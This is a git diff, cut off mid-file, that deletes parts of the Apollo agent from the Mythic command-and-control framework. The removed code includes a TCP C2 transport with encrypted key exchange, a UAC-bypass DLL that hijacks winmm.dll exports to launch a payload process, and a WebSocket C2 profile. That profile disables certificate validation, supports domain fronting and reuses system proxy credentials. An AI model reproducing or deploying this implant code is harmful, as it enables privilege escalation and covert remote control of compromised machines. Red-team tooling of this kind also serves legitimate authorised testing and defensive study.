ApolloInterop.Structs.MythicStructs; -using ApolloInterop.Types.Delegates; -using ApolloInterop.Structs.ApolloStructs; -using System.Collections.Concurrent; -using ApolloInterop.Enums.ApolloEnums; -using System.Threading; -using ST = System.Threading.Tasks; -using ApolloInterop.Serializers; -using ApolloInterop.Constants; -using System.Net.Sockets; -using ApolloInterop.Classes.Core; -using ApolloInterop.Classes.Events; -using ApolloInterop.Utils; - -namespace TcpTransport -{ - public class TcpProfile : C2Profile, IC2Profile - { - - internal struct AsyncTcpState - { - internal TcpClient Client; - internal CancellationTokenSource Cancellation; - internal ST.Task Task; - } - - private static JsonSerializer _jsonSerializer = new JsonSerializer(); - private int _port; - private int chunkSize = IPC.SEND_SIZE; - private AsyncTcpServer _server; - private bool _encryptedExchangeCheck; - private static ConcurrentQueue _senderQueue = new ConcurrentQueue(); - private static AutoResetEvent _senderEvent = new AutoResetEvent(false); - private static ConcurrentQueue _recieverQueue = new ConcurrentQueue(); - private static AutoResetEvent _receiverEvent = new AutoResetEvent(false); - private Dictionary _writerTasks = new Dictionary(); - private Action _sendAction; - - private bool _uuidNegotiated = false; - private ST.Task _agentConsumerTask = null; - private ST.Task _agentProcessorTask = null; - - private UInt32 _currentMessageSize = 0; - private UInt32 _currentMessageChunkNum = 0; - private UInt32 _currentMessageTotalChunks = 0; - private bool _currentMessageReadAllMetadata = false; - private string _currentMessageID = Guid.NewGuid().ToString(); - private Byte[] _partialData = []; - - public TcpProfile(Dictionary data, ISerializer serializer, IAgent agent) : base(data, serializer, agent) - { - _port = int.Parse(data["port"]); - _encryptedExchangeCheck = data["encrypted_exchange_check"] == "true"; - _sendAction = (object p) => - { - CancellationTokenSource cts = ((AsyncTcpState)p).Cancellation; - TcpClient c = ((AsyncTcpState)p).Client; - while (c.Connected) - { - _senderEvent.WaitOne(); - if (!cts.IsCancellationRequested && _senderQueue.TryDequeue(out byte[] result)) - { - UInt32 totalChunksToSend = (UInt32)(result.Length / chunkSize) + 1; - DebugHelp.DebugWriteLine($"have {totalChunksToSend} chunks to send out"); - byte[] totalChunkBytes = BitConverter.GetBytes(totalChunksToSend); - Array.Reverse(totalChunkBytes); - for (UInt32 currentChunk = 0; currentChunk < totalChunksToSend; currentChunk++) - { - byte[] chunkData; - if ((currentChunk + 1) * chunkSize > result.Length) - { - chunkData = new byte[result.Length - (currentChunk * chunkSize)]; - } - else - { - chunkData = new byte[chunkSize]; - } - Array.Copy(result, currentChunk * chunkSize, chunkData, 0, chunkData.Length); - byte[] sizeBytes = BitConverter.GetBytes((UInt32)chunkData.Length + 8); - Array.Reverse(sizeBytes); - byte[] currentChunkBytes = BitConverter.GetBytes(currentChunk); - Array.Reverse(currentChunkBytes); - DebugHelp.DebugWriteLine($"sending chunk {currentChunk}/{totalChunksToSend} with size {chunkData.Length + 8}"); - c.GetStream().BeginWrite(sizeBytes, 0, sizeBytes.Length, OnAsyncMessageSent, p); - c.GetStream().BeginWrite(totalChunkBytes, 0, totalChunkBytes.Length, OnAsyncMessageSent, p); - c.GetStream().BeginWrite(currentChunkBytes, 0, currentChunkBytes.Length, OnAsyncMessageSent, p); - c.GetStream().BeginWrite(chunkData, 0, chunkData.Length, OnAsyncMessageSent, p); - } - //client.GetStream().BeginWrite(result, 0, result.Length, OnAsyncMessageSent, client); - } - } - }; - } - - public void OnAsyncConnect(object sender, TcpMessageEventArgs args) - { - if (_writerTasks.Count > 0) - { - args.Client.Close(); - return; - } - AsyncTcpState arg = new AsyncTcpState() - { - Client = args.Client, - Cancellation = new CancellationTokenSource(), - }; - ST.Task tmp = new ST.Task(_sendAction, arg); - arg.Task = tmp; - _writerTasks[args.Client] = arg; - _writerTasks[args.Client].Task.Start(); - Connected = true; - } - - public void OnAsyncDisconnect(object sender, TcpMessageEventArgs args) - { - args.Client.Client?.Close(); - if (_writerTasks.ContainsKey(args.Client)) - { - var tmp = _writerTasks[args.Client]; - _writerTasks.Remove(args.Client); - Connected = _writerTasks.Count > 0; - - tmp.Cancellation.Cancel(); - _senderEvent.Set(); - _receiverEvent.Set(); - - tmp.Task.Wait(); - } - } - - public void OnAsyncMessageReceived(object sender, TcpMessageEventArgs args) - { - Byte[] sData = args.Data.Data.Take(args.Data.DataLength).ToArray(); - DebugHelp.DebugWriteLine($"got message from remote connection with length: {sData.Length}"); - while (sData.Length > 0) - { - if (_currentMessageSize == 0) - { - // This means we're looking at the start of a new message - if (sData.Length < 4) - { - // we didn't even get enough for a size - - } - else - { - Byte[] messageSizeBytes = sData.Take(4).ToArray(); - sData = sData.Skip(4).ToArray(); - Array.Reverse(messageSizeBytes); // reverse the bytes so they're in big endian? - _currentMessageSize = BitConverter.ToUInt32(messageSizeBytes, 0) - 8; - continue; - } - } - if (_currentMessageTotalChunks == 0) - { - // This means we're looking at the start of a new message - if (sData.Length < 4) - { - // we didn't even get enough for a size - - } - else - { - Byte[] messageSizeBytes = sData.Take(4).ToArray(); - sData = sData.Skip(4).ToArray(); - Array.Reverse(messageSizeBytes); // reverse the bytes so they're in big endian? - _currentMessageTotalChunks = BitConverter.ToUInt32(messageSizeBytes, 0); - continue; - } - } - if (_currentMessageChunkNum == 0 && !_currentMessageReadAllMetadata) - { - // This means we're looking at the start of a new message - if (sData.Length < 4) - { - // we didn't even get enough for a size - - } - else - { - Byte[] messageSizeBytes = sData.Take(4).ToArray(); - sData = sData.Skip(4).ToArray(); - Array.Reverse(messageSizeBytes); // reverse the bytes so they're in big endian? - _currentMessageChunkNum = BitConverter.ToUInt32(messageSizeBytes, 0) + 1; - _currentMessageReadAllMetadata = true; - continue; - } - - } - // try to read up to the remaining number of bytes - if (_partialData.Length + sData.Length > _currentMessageSize) - { - // we potentially have this message and the next data in the pipeline - byte[] nextData = sData.Take((int)_currentMessageSize - _partialData.Length).ToArray(); - _partialData = [.. _partialData, .. nextData]; - sData = sData.Skip(nextData.Length).ToArray(); - - } - else - { - // we don't enough enough data to max out the current message size, so take it all - _partialData = [.. _partialData, .. sData]; - sData = sData.Skip(sData.Length).ToArray(); - } - if (_partialData.Length == _currentMessageSize) - { - DebugHelp.DebugWriteLine($"got chunk {_currentMessageChunkNum}/{_currentMessageTotalChunks} with size {_currentMessageSize + 8}"); - UnwrapMessage(); - _currentMessageSize = 0; - _currentMessageChunkNum = 0; - _currentMessageTotalChunks = 0; - _currentMessageReadAllMetadata = false; - } - } - } - - private void UnwrapMessage() - { - IPCChunkedData chunkedData = new(id: _currentMessageID, - chunkNum: (int)_currentMessageChunkNum, totalChunks: (int)_currentMessageTotalChunks, - mt: MessageType.MessageResponse, - data: _partialData.Take(_partialData.Length).ToArray()); - _partialData = []; - lock (MessageStore) - { - if (!MessageStore.ContainsKey(chunkedData.ID)) - { - MessageStore[chunkedData.ID] = new ChunkedMessageStore(); - MessageStore[chunkedData.ID].MessageComplete += DeserializeToReceiverQueue; - } - } - MessageStore[chunkedData.ID].AddMessage(chunkedData); - if (_currentMessageChunkNum == _currentMessageTotalChunks) - { - _currentMessageID = Guid.NewGuid().ToString(); - } - } - - private void OnAsyncMessageSent(IAsyncResult result) - { - TcpClient client = ((AsyncTcpState)result.AsyncState).Client; - // TcpClient client = (TcpClient)result.AsyncState; - client.GetStream().EndWrite(result); - } - - private bool AddToSenderQueue(IMythicMessage msg) - { - string serializedData = Serializer.Serialize(msg); - _senderQueue.Enqueue(Encoding.UTF8.GetBytes(serializedData)); - _senderEvent.Set(); - return true; - } - - public void DeserializeToReceiverQueue(object sender, ChunkMessageEventArgs args) - { - MessageType mt = args.Chunks[0].Message; - List data = new List(); - - for(int i = 0; i < args.Chunks.Length; i++) - { - data.AddRange(Convert.FromBase64String(args.Chunks[i].Data)); - } - - IMythicMessage msg = Serializer.DeserializeIPCMessage(data.ToArray(), mt); - _recieverQueue.Enqueue(msg); - _receiverEvent.Set(); - } - - - public bool Recv(MessageType mt, OnResponse onResp) - { - while (Agent.IsAlive()) - { - _receiverEvent.WaitOne(); - IMythicMessage msg = _recieverQueue.FirstOrDefault(m => m.GetTypeCode() == mt); - if (msg != null) - { - _recieverQueue = new ConcurrentQueue(_recieverQueue.Where(m => m != msg)); - return onResp(msg); - } - if (!Connected) - break; - } - return true; - } - - - public bool Connect(CheckinMessage checkinMsg, OnResponse onResp) - { - if (_server == null) - { - _server = new AsyncTcpServer(_port, IPC.SEND_SIZE, IPC.RECV_SIZE); - _server.ConnectionEstablished += OnAsyncConnect; - _server.MessageReceived += OnAsyncMessageReceived; - _server.Disconnect += OnAsyncDisconnect; - } - - if (_encryptedExchangeCheck && !_uuidNegotiated) - { - var rsa = Agent.GetApi().NewRSAKeyPair(4096); - EKEHandshakeMessage handshake1 = new EKEHandshakeMessage() - { - Action = "staging_rsa", - PublicKey = rsa.ExportPublicKey(), - SessionID = rsa.SessionId - }; - AddToSenderQueue(handshake1); - if (!Recv(MessageType.MessageResponse, delegate (IMythicMessage resp) - { - MessageResponse respHandshake = (MessageResponse)resp; - byte[] tmpKey = rsa.RSA.Decrypt(Convert.FromBase64String(respHandshake.SessionKey), true); - ((ICryptographySerializer)Serializer).UpdateKey(Convert.ToBase64String(tmpKey)); - ((ICryptographySerializer)Serializer).UpdateUUID(respHandshake.UUID); - return true; - })) - { - return false; - } - } - AddToSenderQueue(checkinMsg); - if (_agentProcessorTask == null || _agentProcessorTask.IsCompleted) - { - return Recv(MessageType.MessageResponse, delegate (IMythicMessage resp) - { - MessageResponse mResp = (MessageResponse)resp; - if (!_uuidNegotiated) - { - _uuidNegotiated = true; - ((ICryptographySerializer)Serializer).UpdateUUID(mResp.ID); - checkinMsg.UUID = mResp.ID; - } - Connected = true; - return onResp(mResp); - }); - } else - { - return true; - } - } - - public void Start() - { - _agentConsumerTask = new ST.Task(() => - { - while (Agent.IsAlive() && _writerTasks.Count > 0) - { - if (!Agent.GetTaskManager().CreateTaskingMessage(delegate (TaskingMessage tm) - { - if (tm.Delegates.Length != 0 || tm.Responses.Length != 0 || tm.Socks.Length != 0 || tm.Rpfwd.Length != 0 || tm.Edges.Length != 0) - { - AddToSenderQueue(tm); - return true; - } - return false; - })) - { - Thread.Sleep(100); - } - } - }); - _agentProcessorTask = new ST.Task(() => - { - while (Agent.IsAlive() && _writerTasks.Count > 0) - { - Recv(MessageType.MessageResponse, delegate (IMythicMessage msg) - { - return Agent.GetTaskManager().ProcessMessageResponse((MessageResponse)msg); - }); - } - }); - _agentConsumerTask.Start(); - _agentProcessorTask.Start(); - _agentProcessorTask.Wait(); - _agentConsumerTask.Wait(); - } - - public bool Send(IMythicMessage message) - { - return AddToSenderQueue((ApolloInterop.Interfaces.IMythicMessage)message); - } - - public bool SendRecv(T message, OnResponse onResponse) - { - throw new NotImplementedException(); - } - - public bool IsOneWay() - { - return true; - } - - public bool IsConnected() - { - return _writerTasks.Keys.Count > 0; - } - } -} diff --git a/Payload_Type/apollo/apollo/agent_code/TcpProfile/TcpProfile.csproj b/Payload_Type/apollo/apollo/agent_code/TcpProfile/TcpProfile.csproj deleted file mode 100644 index 0dfab48e..00000000 --- a/Payload_Type/apollo/apollo/agent_code/TcpProfile/TcpProfile.csproj +++ /dev/null @@ -1,18 +0,0 @@ - - - net451 - Library - 12 - enable - false - AnyCPU;x64;x86 - - - - - - - - - - \ No newline at end of file diff --git a/Payload_Type/apollo/apollo/agent_code/TcpProfile/packages.config b/Payload_Type/apollo/apollo/agent_code/TcpProfile/packages.config deleted file mode 100644 index 2634f65c..00000000 --- a/Payload_Type/apollo/apollo/agent_code/TcpProfile/packages.config +++ /dev/null @@ -1,4 +0,0 @@ - - - - \ No newline at end of file diff --git a/Payload_Type/apollo/apollo/agent_code/UACBypasses/MockDirUACBypassDll/dllmain.cpp b/Payload_Type/apollo/apollo/agent_code/UACBypasses/MockDirUACBypassDll/dllmain.cpp deleted file mode 100644 index 905edc58..00000000 --- a/Payload_Type/apollo/apollo/agent_code/UACBypasses/MockDirUACBypassDll/dllmain.cpp +++ /dev/null @@ -1,52 +0,0 @@ -#define WIN32_LEAN_AND_MEAN -#include -#include "pch.h" - -void payload() -{ - STARTUPINFO si; - PROCESS_INFORMATION pi; - ZeroMemory(&si, sizeof(si)); - si.cb = sizeof(si); - ZeroMemory(&pi, sizeof(pi)); - - const char* exePath = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"; - const char* args = "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"; - - CreateProcess(exePath, (LPSTR)args, NULL, NULL, FALSE, DETACHED_PROCESS, NULL, NULL, &si, &pi); - - ExitProcess(0); -} - -extern "C" __declspec(dllexport) void timeBeginPeriod() -{} -extern "C" __declspec(dllexport) void timeEndPeriod() -{} -extern "C" __declspec(dllexport) void timeGetTime() -{ - payload(); -} -extern "C" __declspec(dllexport) void waveOutGetNumDevs() -{} - -BOOL APIENTRY DllMain(HMODULE hModule, - DWORD ul_reason_for_call, - LPVOID lpReserved) { - - payload(); - - switch (ul_reason_for_call) - { - case DLL_PROCESS_ATTACH: - - break; - case DLL_PROCESS_DETACH: - - break; - case DLL_THREAD_ATTACH: - break; - case DLL_THREAD_DETACH: - break; - } - return TRUE; -} \ No newline at end of file diff --git a/Payload_Type/apollo/apollo/agent_code/UACBypasses/MockDirUACBypassDll/framework.h b/Payload_Type/apollo/apollo/agent_code/UACBypasses/MockDirUACBypassDll/framework.h deleted file mode 100644 index 54b83e94..00000000 --- a/Payload_Type/apollo/apollo/agent_code/UACBypasses/MockDirUACBypassDll/framework.h +++ /dev/null @@ -1,5 +0,0 @@ -#pragma once - -#define WIN32_LEAN_AND_MEAN // Exclude rarely-used stuff from Windows headers -// Windows Header Files -#include diff --git a/Payload_Type/apollo/apollo/agent_code/UACBypasses/MockDirUACBypassDll/pch.cpp b/Payload_Type/apollo/apollo/agent_code/UACBypasses/MockDirUACBypassDll/pch.cpp deleted file mode 100644 index 64b7eef6..00000000 --- a/Payload_Type/apollo/apollo/agent_code/UACBypasses/MockDirUACBypassDll/pch.cpp +++ /dev/null @@ -1,5 +0,0 @@ -// pch.cpp: source file corresponding to the pre-compiled header - -#include "pch.h" - -// When you are using pre-compiled headers, this source file is necessary for compilation to succeed. diff --git a/Payload_Type/apollo/apollo/agent_code/UACBypasses/MockDirUACBypassDll/pch.h b/Payload_Type/apollo/apollo/agent_code/UACBypasses/MockDirUACBypassDll/pch.h deleted file mode 100644 index 885d5d62..00000000 --- a/Payload_Type/apollo/apollo/agent_code/UACBypasses/MockDirUACBypassDll/pch.h +++ /dev/null @@ -1,13 +0,0 @@ -// pch.h: This is a precompiled header file. -// Files listed below are compiled only once, improving build performance for future builds. -// This also affects IntelliSense performance, including code completion and many code browsing features. -// However, files listed here are ALL re-compiled if any one of them is updated between builds. -// Do not add files here that you will be updating frequently as this negates the performance advantage. - -#ifndef PCH_H -#define PCH_H - -// add headers that you want to pre-compile here -#include "framework.h" - -#endif //PCH_H diff --git a/Payload_Type/apollo/apollo/agent_code/UACBypasses/MockDirUACBypassDll/winmm.h b/Payload_Type/apollo/apollo/agent_code/UACBypasses/MockDirUACBypassDll/winmm.h deleted file mode 100644 index 914521b1..00000000 --- a/Payload_Type/apollo/apollo/agent_code/UACBypasses/MockDirUACBypassDll/winmm.h +++ /dev/null @@ -1,17 +0,0 @@ -#ifndef __MAIN_H__ -#define __MAIN_H__ -#include -#define DLL_EXPORT __declspec(dllexport) -#ifdef __cplusplus -extern "C" -{ -#endif - void timeBeginPeriod(); - void timeEndPeriod(); - void timeGetTime(); - void waveOutGetNumDevs(); - -#ifdef __cplusplus -} -#endif -#endif // __MAIN_H__#pragma once \ No newline at end of file diff --git a/Payload_Type/apollo/apollo/agent_code/UACBypasses/MockDirUACBypassDll/winmm.vcxproj b/Payload_Type/apollo/apollo/agent_code/UACBypasses/MockDirUACBypassDll/winmm.vcxproj deleted file mode 100644 index 5a5814c9..00000000 --- a/Payload_Type/apollo/apollo/agent_code/UACBypasses/MockDirUACBypassDll/winmm.vcxproj +++ /dev/null @@ -1,180 +0,0 @@ - - - - - Debug - Win32 - - - Release - Win32 - - - Debug - x64 - - - Release - x64 - - - - 16.0 - {0176D95B-04EE-4FE9-8110-32F5A8952F69} - Win32Proj - winmm - 10.0 - - - - DynamicLibrary - true - v142 - MultiByte - false - - - DynamicLibrary - false - v142 - true - MultiByte - false - - - DynamicLibrary - true - v142 - MultiByte - false - - - DynamicLibrary - false - v142 - true - MultiByte - false - - - - - - - - - - - - - - - - - - - - - true - - - true - - - false - - - false - - - - Use - Level3 - Disabled - true - WIN32;_DEBUG;WINMM_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions) - true - pch.h - - - Windows - true - false - - - - - Use - Level3 - Disabled - true - _DEBUG;WINMM_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions) - true - pch.h - - - Windows - true - false - - - - - Use - Level3 - MaxSpeed - true - true - true - WIN32;NDEBUG;WINMM_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions) - true - pch.h - None - - - Windows - true - true - false - false - - - - - Use - Level3 - MaxSpeed - true - true - true - NDEBUG;WINMM_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions) - true - pch.h - None - - - Windows - true - true - false - false - - - - - - - - - - - Create - Create - Create - Create - - - - - - \ No newline at end of file diff --git a/Payload_Type/apollo/apollo/agent_code/UACBypasses/MockDirUACBypassDll/winmm.vcxproj.filters b/Payload_Type/apollo/apollo/agent_code/UACBypasses/MockDirUACBypassDll/winmm.vcxproj.filters deleted file mode 100644 index 44fa2a88..00000000 --- a/Payload_Type/apollo/apollo/agent_code/UACBypasses/MockDirUACBypassDll/winmm.vcxproj.filters +++ /dev/null @@ -1,36 +0,0 @@ - - - - - {4FC737F1-C7A5-4376-A066-2A32D752A2FF} - cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx - - - {93995380-89BD-4b04-88EB-625FBE52EBFB} - h;hh;hpp;hxx;hm;inl;inc;ipp;xsd - - - {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} - rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms - - - - - Header Files - - - Header Files - - - Header Files - - - - - Source Files - - - Source Files - - - \ No newline at end of file diff --git a/Payload_Type/apollo/apollo/agent_code/WebsocketProfile/Models/WebSocketMessage.cs b/Payload_Type/apollo/apollo/agent_code/WebsocketProfile/Models/WebSocketMessage.cs deleted file mode 100644 index 213949af..00000000 --- a/Payload_Type/apollo/apollo/agent_code/WebsocketProfile/Models/WebSocketMessage.cs +++ /dev/null @@ -1,24 +0,0 @@ -using Newtonsoft.Json; - -namespace WebsocketTransport.Models -{ - public class WebSocketMessage - { - public bool client { get; set; } - public string data { get; set; } - public string tag { get; set; } - } - - public class WebsocketJsonContext - { - public static string Serialize(object obj) - { - return JsonConvert.SerializeObject(obj); - } - - public static T Deserialize(string json) - { - return JsonConvert.DeserializeObject(json); - } - } -} diff --git a/Payload_Type/apollo/apollo/agent_code/WebsocketProfile/Properties/AssemblyInfo.cs b/Payload_Type/apollo/apollo/agent_code/WebsocketProfile/Properties/AssemblyInfo.cs deleted file mode 100644 index 442b8aa2..00000000 --- a/Payload_Type/apollo/apollo/agent_code/WebsocketProfile/Properties/AssemblyInfo.cs +++ /dev/null @@ -1,35 +0,0 @@ -using System.Reflection; -using System.Runtime.InteropServices; - -// General Information about an assembly is controlled through the following -// set of attributes. Change these attribute values to modify the information -// associated with an assembly. -[assembly: AssemblyTitle("WebsocketProfile")] -[assembly: AssemblyDescription("")] -[assembly: AssemblyConfiguration("")] -[assembly: AssemblyCompany("")] -[assembly: AssemblyProduct("WebsocketProfile")] -[assembly: AssemblyCopyright("Copyright © 2024")] -[assembly: AssemblyTrademark("")] -[assembly: AssemblyCulture("")] - -// Setting ComVisible to false makes the types in this assembly not visible -// to COM components. If you need to access a type in this assembly from -// COM, set the ComVisible attribute to true on that type. -[assembly: ComVisible(false)] - -// The following GUID is for the ID of the typelib if this project is exposed to COM -[assembly: Guid("74855a66-cd77-4cca-afd9-09e275e47591")] - -// Version information for an assembly consists of the following four values: -// -// Major Version -// Minor Version -// Build Number -// Revision -// -// You can specify all the values or you can default the Build and Revision Numbers -// by using the '*' as shown below: -// [assembly: AssemblyVersion("1.0.*")] -[assembly: AssemblyVersion("1.0.0.0")] -[assembly: AssemblyFileVersion("1.0.0.0")] diff --git a/Payload_Type/apollo/apollo/agent_code/WebsocketProfile/WebsocketProfile.cs b/Payload_Type/apollo/apollo/agent_code/WebsocketProfile/WebsocketProfile.cs deleted file mode 100644 index 22434bd5..00000000 --- a/Payload_Type/apollo/apollo/agent_code/WebsocketProfile/WebsocketProfile.cs +++ /dev/null @@ -1,514 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Linq; -using System.Text; -using ApolloInterop.Classes; -using ApolloInterop.Interfaces; -using ApolloInterop.Structs.MythicStructs; -using ApolloInterop.Types.Delegates; -using System.Net; -using ApolloInterop.Enums.ApolloEnums; -using System.Collections.Concurrent; -using ST = System.Threading.Tasks; -using System.Threading; -using ApolloInterop.Serializers; -using WebsocketTransport.Models; -using WebSocketSharp; - -namespace WebsocketTransport -{ - public class WebsocketProfile : C2Profile, IC2Profile - { - internal WebSocket Client; - - private int CallbackInterval; - private double CallbackJitter; - private int CallbackPort; - private string CallbackHost; - private string PostUri; - // synthesis of CallbackHost, CallbackPort, PostUri - private string Endpoint; - private bool EncryptedExchangeCheck; - private string UserAgent; - private string TaskingType; - private string KillDate; - private string DomainFront; - private Dictionary _additionalHeaders = new Dictionary(); - private bool _uuidNegotiated = false; - private bool _keyExchanged = false; - private RSAKeyGenerator rsa = null; - private static ConcurrentQueue senderQueue = new ConcurrentQueue(); - private ST.Task agentConsumerTask = null; - private ST.Task agentProcessorTask = null; - private ST.Task agentPingTask = null; - private static JsonSerializer jsonSerializer = new JsonSerializer(); - private static AutoResetEvent senderEvent; - private static ConcurrentQueue receiverQueue; - private static AutoResetEvent receiverEvent; - private Action sendAction; - private Dictionary writerTasks = new Dictionary(); - private string Uuid = ""; - private CancellationTokenSource cancellationTokenSource; -#if DEBUG - private bool Debug = true; -#else - private bool Debug = false; -#endif - private string ParseURLAndPort(string host, int port) - { - string final_url = ""; - int last_slash = -1; - if (port == 443 && host.StartsWith("wss://")) - { - final_url = host; - } - else if (port == 80 && host.StartsWith("ws://")) - { - final_url = host; - } - else - { - last_slash = host.Substring(8).IndexOf("/"); - if (last_slash == -1) - { - final_url = string.Format("{0}:{1}", host, port); - } - else - { - last_slash += 8; - final_url = host.Substring(0, last_slash) + $":{port}" + host.Substring(last_slash); - } - } - return final_url; - } - public WebsocketProfile(Dictionary data, ISerializer serializer, IAgent agent) : base(data, serializer, agent) - { - DebugPrint("Initialize agent..."); - CallbackInterval = int.Parse(data["callback_interval"]); - CallbackJitter = double.Parse(data["callback_jitter"]); - CallbackPort = int.Parse(data["callback_port"]); - CallbackHost = data["callback_host"]; - TaskingType = data["tasking_type"]; - UserAgent = data["USER_AGENT"]; - Uuid = agent.GetUUID(); - PostUri = data["ENDPOINT_REPLACE"]; - DomainFront = data["domain_front"]; - EncryptedExchangeCheck = data["encrypted_exchange_check"] == "T"; - rsa = agent.GetApi().NewRSAKeyPair(4096); - - if (PostUri[0] != '/') - { - PostUri = $"/{PostUri}"; - } - Endpoint = this.ParseURLAndPort(CallbackHost, CallbackPort); - KillDate = data["killdate"]; - - string[] reservedStrings = new[] - { - "callback_interval", - "callback_jitter", - "callback_port", - "callback_host", - "ENDPOINT_REPLACE", - "encrypted_exchange_check", - "killdate", - "USER_AGENT" - }; - - foreach (string k in data.Keys) - { - if (!reservedStrings.Contains(k)) - { - _additionalHeaders.Add(k, data[k]); - } - } - // Disable certificate validation on web requests - ServicePointManager.ServerCertificateValidationCallback = delegate { return true; }; - ServicePointManager.SecurityProtocol = (SecurityProtocolType)3072 | SecurityProtocolType.Ssl3 | SecurityProtocolType.Tls; - - Agent.SetSleep(CallbackInterval, CallbackJitter); - sendAction = () => - { - while (Client.IsAlive && Agent.IsAlive()) - { - senderEvent.WaitOne(); - if (senderQueue.TryDequeue(out byte[] result)) - { - if (Client.IsAlive) - { - Client.Send(result); - } - } - } - }; - } - - private void Poll() - { - agentProcessorTask = new ST.Task(() => - { - while (Client.IsAlive && Agent.IsAlive()) - { - Recv(MessageType.MessageResponse, delegate (IMythicMessage msg) - { - return Agent.GetTaskManager().ProcessMessageResponse((MessageResponse)msg); - }); - } - }, cancellationTokenSource.Token); - - agentPingTask = new ST.Task(() => - { - while (Client.IsAlive && Agent.IsAlive() && !cancellationTokenSource.Token.IsCancellationRequested) - { - if (!Client.Ping()) - { - cancellationTokenSource.Cancel(); - } - Thread.Sleep(5000); - } - }, cancellationTokenSource.Token); - - agentProcessorTask.Start(); - agentPingTask.Start(); - - - agentConsumerTask = new ST.Task(() => - { - while (Client.IsAlive && Agent.IsAlive()) - { - if (Agent.GetTaskManager().CreateTaskingMessage(delegate (TaskingMessage tm) - { - if (Client.IsAlive) - { - AddToSenderQueue(tm); - return true; - } else - { - return false; - } - })) - { - Agent.Sleep(); - } else - { - cancellationTokenSource.Cancel(); - } - } - }, cancellationTokenSource.Token); - - agentConsumerTask.Start(); - try - { - agentConsumerTask.Wait(cancellationTokenSource.Token); - } - catch (OperationCanceledException) - { - return; - } - } - private void Push() - { - agentConsumerTask = new ST.Task(() => - { - while (Client.IsAlive && Agent.IsAlive()) - { - if (!Agent.GetTaskManager().CreateTaskingMessage( - delegate (TaskingMessage tm) - { - if (tm.Delegates.Length != 0 || tm.Responses.Length != 0 || tm.Socks.Length != 0 || tm.Rpfwd.Length != 0 || tm.Edges.Length != 0) - { - AddToSenderQueue(tm); - return true; - } - return false; - })) - { - Thread.Sleep(100); - } - } - }, cancellationTokenSource.Token); - - agentPingTask = new ST.Task(() => - { - while (Client.IsAlive && Agent.IsAlive()) - { - if (!cancellationTokenSource.Token.IsCancellationRequested) - { - if (!Client.Ping()) - { - cancellationTokenSource.Cancel(); - } - } - Thread.Sleep(5000); - } - }, cancellationTokenSource.Token); - - agentProcessorTask = new ST.Task(() => - { - while (Client.IsAlive && Agent.IsAlive()) - { - Recv(MessageType.MessageResponse, delegate (IMythicMessage msg) - { - return Agent.GetTaskManager().ProcessMessageResponse((MessageResponse)msg); - }); - } - }, cancellationTokenSource.Token); - agentConsumerTask.Start(); - agentProcessorTask.Start(); - agentPingTask.Start(); - try - { - agentPingTask.Wait(cancellationTokenSource.Token); - } - catch (OperationCanceledException) - { - return; - } - } - - public void Start() - { - DebugPrint("Started agent with tasking type: "+TaskingType); - if (TaskingType == "Poll") - { - Poll(); - } - else if (TaskingType == "Push") - { - Push(); - } - } - - - public bool IsOneWay() - { - return false; - } - - public bool Send(T message) - { - throw new Exception("WebsocketProfile does not support Send only."); - } - - public bool Recv(MessageType mt, OnResponse onResp) - { - while (Agent.IsAlive() && Client.IsAlive) - { - if (receiverQueue.Count == 0) - { - receiverEvent.WaitOne(Timeout.Infinite, cancellationTokenSource.Token.IsCancellationRequested); - } - - IMythicMessage msg = receiverQueue.FirstOrDefault(m => m.GetTypeCode() == mt); - if (msg != null) - { - receiverQueue = new ConcurrentQueue(receiverQueue.Where(m => m != msg)); - return onResp(msg); - } - } - return true; - } - - public bool SendRecv(T message, OnResponse onResponse) - { - throw new NotImplementedException(); - } - - // Only really used for bind servers so this returns empty - public bool Connect() - { - return true; - } - - public bool IsConnected() - { - return Connected; - } - - public bool Connect(CheckinMessage checkinMsg, OnResponse onResp) - { - DebugPrint("Connecting..."); - cancellationTokenSource = new CancellationTokenSource(); - receiverQueue = new ConcurrentQueue(); - receiverEvent = new AutoResetEvent(false); - senderEvent = new AutoResetEvent(false); - Client = new WebSocket(Endpoint + PostUri); - Client.Log.Level = LogLevel.Error; - Client.WaitTime = TimeSpan.FromHours(8); - - List> headers = new List>(); - if (TaskingType == "Push") - { - headers.Add(new KeyValuePair("Accept-Type", "Push")); - } - - if (UserAgent != null && UserAgent != "") - { - headers.Add(new KeyValuePair("User-Agent", UserAgent)); - } - if (DomainFront != null && DomainFront != "") - { - headers.Add(new KeyValuePair("Host", DomainFront)); - } - - Client.CustomHeaders = headers; - - IWebProxy proxy = WebRequest.GetSystemWebProxy(); - NetworkCredential credential = proxy.Credentials as NetworkCredential; - var proxyURL = proxy.GetProxy(new Uri(Endpoint + PostUri)).AbsoluteUri; - if(proxyURL != Endpoint + PostUri) - { - if (credential != null) - { - Client.SetProxy(proxy.GetProxy(new Uri(Endpoint + PostUri)).AbsoluteUri, credential.UserName, credential.Password); - } - else - { - Client.SetProxy(proxy.GetProxy(new Uri(Endpoint + PostUri)).AbsoluteUri, "", ""); - } - } - - - Client.OnOpen += OnAsyncConnect; - Client.OnMessage += OnAsyncMessageReceived; - Client.OnError += 